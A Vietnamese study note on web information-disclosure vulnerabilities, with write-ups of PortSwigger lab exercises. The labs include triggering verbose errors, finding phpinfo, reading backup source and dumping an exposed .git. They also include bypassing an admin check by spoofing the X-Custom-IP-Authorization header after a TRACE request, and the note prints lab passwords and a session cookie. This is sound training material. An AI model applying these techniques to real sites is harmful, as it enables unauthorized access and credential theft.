What is information disclosure?
Information disclosure, hay còn gọi là lộ lọt thông tin, là lỗ hổng xảy ra khi ứng dụng web vô tình tiết lộ thông tin nhạy cảm cho người dùng. Tùy thuộc vào ngữ cảnh, trang web có thể rò rỉ tất cả các loại thông tin cho kẻ tấn công tiềm năng.
Các ví dụ:
Example
Một số ví dụ cơ bản về information disclosure như sau:
- Tiết lộ tên các thư mục ẩn, cấu trúc và nội dung của chúng thông qua file
robots.txt
hoặc directory listing- Cung cấp quyền truy cập vào các file source code thông qua các bản backup tạm thời
- Đề cập rõ ràng đến tên bảng hoặc cột cơ sở dữ liệu trong thông báo lỗi
- Vô tình tiết lộ thông tin cực kỳ nhạy cảm, chẳng hạn như chi tiết thẻ tín dụng
- Hard-code các API key, địa chỉ IP, thông tin đăng nhập cơ sở dữ liệu, v.v. trong source code
- Gợi ý về sự tồn tại hoặc không tồn tại của tài nguyên, username, v.v. thông qua những khác biệt tinh tế trong hành vi ứng dụng
Files for web crawlers
Các file chẳng hạn như /robots.txt
và /sitemap.xml
có thể chứa thông tin nhạy cảm:
Summary
Nhiều trang web cung cấp các file
/robots.txt
và/sitemap.xml
để giúp web crawler điều hướng trang web của họ. Trong số các thông tin khác, những file này thường liệt kê các thư mục cụ thể mà crawler nên bỏ qua, ví dụ như các thư mục có thể chứa thông tin nhạy cảm.
Directory Listing
Nếu web server được cấu hình để liệt kê nội dung của các thư mục thì chúng ta có thể dùng nó để xác định đường dẫn của các resource và thậm chí là truy cập vào các file ẩn mà không cần thực hiện directory brute-forcing:
Summary
Web server có thể được cấu hình để tự động liệt kê nội dung của các thư mục không có trang index. Điều này có thể hỗ trợ kẻ tấn công bằng cách cho phép họ nhanh chóng xác định các tài nguyên tại một đường dẫn nhất định và tiến hành phân tích và tấn công trực tiếp các tài nguyên đó. Điều này đặc biệt tăng nguy cơ lộ lọt các file nhạy cảm trong thư mục không được thiết kế để người dùng truy cập, chẳng hạn như file tạm thời và crash dump.
Đây không phải là bug do nó chỉ giúp chúng ta tìm được đường dẫn của các resource chứ không hẳn là cho phép chúng ta truy cập vào tất cả các resource:
Summary
Bản thân directory listing không nhất thiết là lỗ hổng bảo mật. Tuy nhiên, nếu trang web cũng không triển khai kiểm soát truy cập phù hợp thì việc rò rỉ sự tồn tại và vị trí của các tài nguyên nhạy cảm theo cách này rõ ràng là một vấn đề.
Developer comments
Comment của developer cũng có thể chứa những thông tin nhạy cảm:
Summary
Trong quá trình phát triển, các comment HTML in-line đôi khi được thêm vào markup. Thỉnh thoảng, những comment này chứa thông tin hữu ích cho kẻ tấn công. Ví dụ, chúng có thể gợi ý về sự tồn tại của các thư mục ẩn hoặc cung cấp manh mối về logic ứng dụng.
Error Message
Error message có thể chứa thông tin về kiểu dữ liệu:
Summary
Nội dung của thông báo lỗi có thể tiết lộ thông tin về loại dữ liệu đầu vào mong đợi từ một tham số nhất định. Điều này có thể giúp chúng ta thu hẹp phạm vi tấn công bằng cách xác định các tham số có thể khai thác.
Thông tin về công nghệ cũng như phiên bản của các công nghệ đó có thể giúp chúng ta sử dụng các lỗ hổng đã biết để khai thác:
Summary
Thông báo lỗi chi tiết cũng có thể cung cấp thông tin về các công nghệ khác nhau được trang web sử dụng. Ví dụ, chúng có thể nêu rõ tên của template engine, loại cơ sở dữ liệu hoặc server mà trang web đang sử dụng, cùng với số phiên bản. Thông tin này có thể hữu ích vì chúng ta có thể dễ dàng tìm kiếm bất kỳ exploit đã được ghi lại nào có thể tồn tại cho phiên bản này.
Trong trường hợp ứng dụng sử dụng open-source framework thì chúng ta có thể tìm hiểu mã nguồn nhằm xây dựng exploit:
Summary
Chúng ta cũng có thể phát hiện ra rằng trang web đang sử dụng một loại open-source framework nào đó. Trong trường hợp này, chúng ta có thể nghiên cứu mã nguồn công khai, đây là tài nguyên vô giá để xây dựng exploit của riêng mình.
Lab: Information Disclosure in Error Messages
Gửi request sau:
GET /product?productId=a HTTP/2
Host: 0a2d007c040aed55804b1c9e00490026.web-security-academy.net
Response cho biết rằng server sử dụng Apache Struts 2 2.3.31:
HTTP/2 500 Internal Server Error
Content-Length: 1674
Internal Server Error: java.lang.NumberFormatException: For input string: "a"
at java.base/java.lang.NumberFormatException.forInputString(NumberFormatException.java:67)
at java.base/java.lang.Integer.parseInt(Integer.java:661)
at java.base/java.lang.Integer.parseInt(Integer.java:777)
at lab.i.h.y.n.D(Unknown Source)
at lab.h.o.b.d.u(Unknown Source)
at lab.h.o.e.h.z.c(Unknown Source)
at lab.h.o.e.c.lambda$handleSubRequest$0(Unknown Source)
at f.x.f.x.lambda$null$3(Unknown Source)
at f.x.f.x.Y(Unknown Source)
at f.x.f.x.lambda$uncheckedFunction$4(Unknown Source)
at java.base/java.util.Optional.map(Optional.java:260)
at lab.h.o.e.c.F(Unknown Source)
at lab.server.l.z.z.s(Unknown Source)
at lab.h.o.k.F(Unknown Source)
at lab.h.o.k.s(Unknown Source)
at lab.server.l.z.v.j.s(Unknown Source)
at lab.server.l.z.v.a.lambda$handle$0(Unknown Source)
at lab.i.m.r.x.s(Unknown Source)
at lab.server.l.z.v.a.Y(Unknown Source)
at lab.server.l.z.n.m(Unknown Source)
at f.x.f.x.lambda$null$3(Unknown Source)
at f.x.f.x.Y(Unknown Source)
at f.x.f.x.lambda$uncheckedFunction$4(Unknown Source)
at lab.server.ph.p(Unknown Source)
at lab.server.l.z.n.z(Unknown Source)
at lab.server.l.b.c.W(Unknown Source)
at lab.server.l.u.r(Unknown Source)
at lab.server.l.s.r(Unknown Source)
at lab.server.g.K(Unknown Source)
at lab.server.g.j(Unknown Source)
at lab.z.q.lambda$consume$0(Unknown Source)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
at java.base/java.lang.Thread.run(Thread.java:1583)
Apache Struts 2 2.3.31
Debug data
Dữ liệu debug đôi khi có thể chứa những thông tin nhạy cảm:
Summary
Thông báo debug đôi khi có thể chứa thông tin quan trọng để phát triển cuộc tấn công, bao gồm:
- Giá trị của các biến session quan trọng có thể được thao tác thông qua input của người dùng
- Hostname và thông tin đăng nhập cho các component back-end
- Tên file và thư mục trên server
- Khóa được sử dụng để mã hóa dữ liệu truyền qua client
Dữ liệu này đôi khi có thể được lưu trong một file riêng biệt mà nếu attacker truy cập được thì có thể tìm hiểu về cách thức hoạt động của ứng dụng:
Summary
Thông tin debug đôi khi có thể được ghi vào một file riêng biệt. Nếu kẻ tấn công có thể truy cập vào file này, nó có thể phục vụ như một tài liệu tham khảo hữu ích để hiểu trạng thái runtime của ứng dụng.
Lab: Information Disclosure on Debug Page
Tìm thấy đoạn comment sau ở trong trang /
:
<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->
Truy cập vào và thấy đây là trang thông tin của PHP:
Tìm được secret key ở phần Environment:
Source code disclosure via backup files
Truy cập vào source code có thể giúp attacker hiểu hơn về ứng dụng nhằm xây dựng exploit có mức độ nghiêm trọng cao. Ngoài ra, nó còn có thể tiết lộ các dữ liệu nhạy cảm được hard-code:
Summary
Việc có quyền truy cập source code khiến kẻ tấn công dễ dàng hiểu hành vi của ứng dụng và xây dựng các cuộc tấn công nghiêm trọng hơn. Dữ liệu nhạy cảm đôi khi thậm chí được hard-code trong source code. Các ví dụ điển hình bao gồm API key và thông tin đăng nhập để truy cập các component back-end.
Cách đọc source code thông qua các backup file:
Summary
Khi server xử lý các file có extension cụ thể như
.php
, nó thường sẽ thực thi code thay vì chỉ gửi nó đến client dưới dạng text. Tuy nhiên, trong một số trường hợp, chúng ta có thể lừa trang web trả về nội dung của file. Ví dụ, các text editor thường tạo ra các backup file tạm thời trong khi file gốc đang được chỉnh sửa. Những file tạm thời này thường được biểu thị theo cách nào đó, chẳng hạn như thêm dấu ngã (~) vào tên file hoặc thêm extension khác. Yêu cầu một code file bằng cách sử dụng backup file extension đôi khi có thể cho phép chúng ta đọc nội dung của file trong response.
Việc đọc được source code có thể dẫn đến lỗ hổng Insecure Deserialization:
Summary
Khi kẻ tấn công có quyền truy cập vào source code, đây có thể là một bước lớn hướng tới việc có thể xác định và khai thác các lỗ hổng bổ sung mà nếu không thì hầu như không thể phát hiện. Một ví dụ như vậy là insecure deserialization.
Lab: Source Code Disclosure via Backup Files
Nội dung của /robots.txt
để tìm thư mục ẩn1:
User-agent: *
Disallow: /backup
Truy cập vào /backup
thì thấy web server liệt kê thư mục như đã đề cập ở Directory Listing:
Tìm thấy password của database trong dòng code sau:
ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"j1h7pr0sb5hw5xzz14e8s8sqm76m9hd9"
).withAutoCommit();
Information disclosure due to insecure configuration
Việc sử dụng các thư viện thứ 3 mà không hiểu rõ các tùy chọn và cấu hình sai cũng có thể gây ra lộ lọt thông tin:
Summary
Các trang web đôi khi dễ bị tấn công do cấu hình không đúng. Điều này đặc biệt phổ biến do việc sử dụng rộng rãi các công nghệ của bên thứ ba, mà lượng lớn các tùy chọn cấu hình của chúng không nhất thiết được những người triển khai hiểu rõ.
Ví dụ:
Example
Ví dụ, HTTP method
TRACE
được thiết kế cho mục đích chẩn đoán. Nếu được bật, web server sẽ phản hồi các request sử dụng methodTRACE
bằng cách echo lại trong response chính xác request đã nhận được. Hành vi này thường vô hại, nhưng đôi khi dẫn đến lộ lọt thông tin, chẳng hạn như tên của các internal authentication header có thể được reverse proxy thêm vào request.
Lab: Authentication Bypass via Information Disclosure
Khi truy cập trang /admin
thì nhận được thông báo lỗi như sau:
Admin interface only available to local users
Sử dụng request có method là TRACE
:
TRACE /admin HTTP/2
Host: 0a8100e6047fdb1881486b15009a0071.web-security-academy.net
Cookie: session=2DYbY8WivseEjKMS80TzuuqSUG7yt4TR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Response có chứa một internal header:
TRACE /admin HTTP/1.1
Host: localhost
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
accept-language: en-US,en;q=0.8,vi-VN;q=0.5,vi;q=0.3
accept-encoding: gzip, deflate, br
dnt: 1
upgrade-insecure-requests: 1
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: same-origin
sec-fetch-user: ?1
priority: u=0, i
te: trailers
cookie: session=2DYbY8WivseEjKMS80TzuuqSUG7yt4TR
Content-Length: 0
X-Custom-IP-Authorization: 58.186.47.102
Kiểm tra thì thấy đây chính là IP của chúng ta: IP Address Lookup - Check Location of Your Public IP. Thử thay giá trị này thành 127.0.0.1
thì truy cập được trang /admin
.
Version control history
Nếu trang web để lộ thư mục .git
thì chúng ta có thể dùng nó để đọc các đoạn diff của source code nhằm tìm ra các thông tin nhạy cảm:
Summary
Có nhiều phương pháp khác nhau để tải về toàn bộ thư mục
.git
. Sau đó chúng ta có thể mở nó bằng cách cài đặt Git local để truy cập vào lịch sử version control của trang web. Điều này có thể bao gồm các log chứa các thay đổi đã commit và thông tin thú vị khác. Điều này có thể không cung cấp quyền truy cập vào toàn bộ source code, nhưng việc so sánh diff sẽ cho phép chúng ta đọc các đoạn code nhỏ. Như với bất kỳ source code nào, chúng ta cũng có thể tìm thấy dữ liệu nhạy cảm được hard-code trong một số dòng đã thay đổi.
Lab: Information Disclosure in Version Control History
Truy cập .git
thì thấy cây thư mục như sau:
Sử dụng tool git-dumper để tải về thư mục .git
.
Cấu trúc thư mục:
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 4/22/2025 9:44 PM .git
-a--- 4/22/2025 9:42 PM 88 admin_panel.php
-a--- 4/22/2025 9:44 PM 37 admin.conf
Sử dụng lệnh git log
thì thấy có 2 commit:
> git log
commit df2d2da9d64d65b73580870e2fb3b4089f5e53ba (HEAD -> master)
Author: Carlos Montoya <carlos@carlos-montoya.net>
Date: Tue Jun 23 14:05:07 2020 +0000
Remove admin password from config
commit f06fbbfeb511afea2f5e0c5046b31a2de3bc5de1
Author: Carlos Montoya <carlos@carlos-montoya.net>
Date: Mon Jun 22 16:23:42 2020 +0000
Add skeleton admin panel
Checkout đến commit f06fbbfeb511afea2f5e0c5046b31a2de3bc5de1
và xem file admin.conf
thì thấy có password:
> cat admin.conf
ADMIN_PASSWORD=zh8wbu8ke4cdcvnk3e29
Đăng nhập bằng administrator:zh8wbu8ke4cdcvnk3e29
và xóa user carlos
để hoàn thành lab.
Resources
Footnotes
-
xem thêm File Dành Cho Web Crawler ↩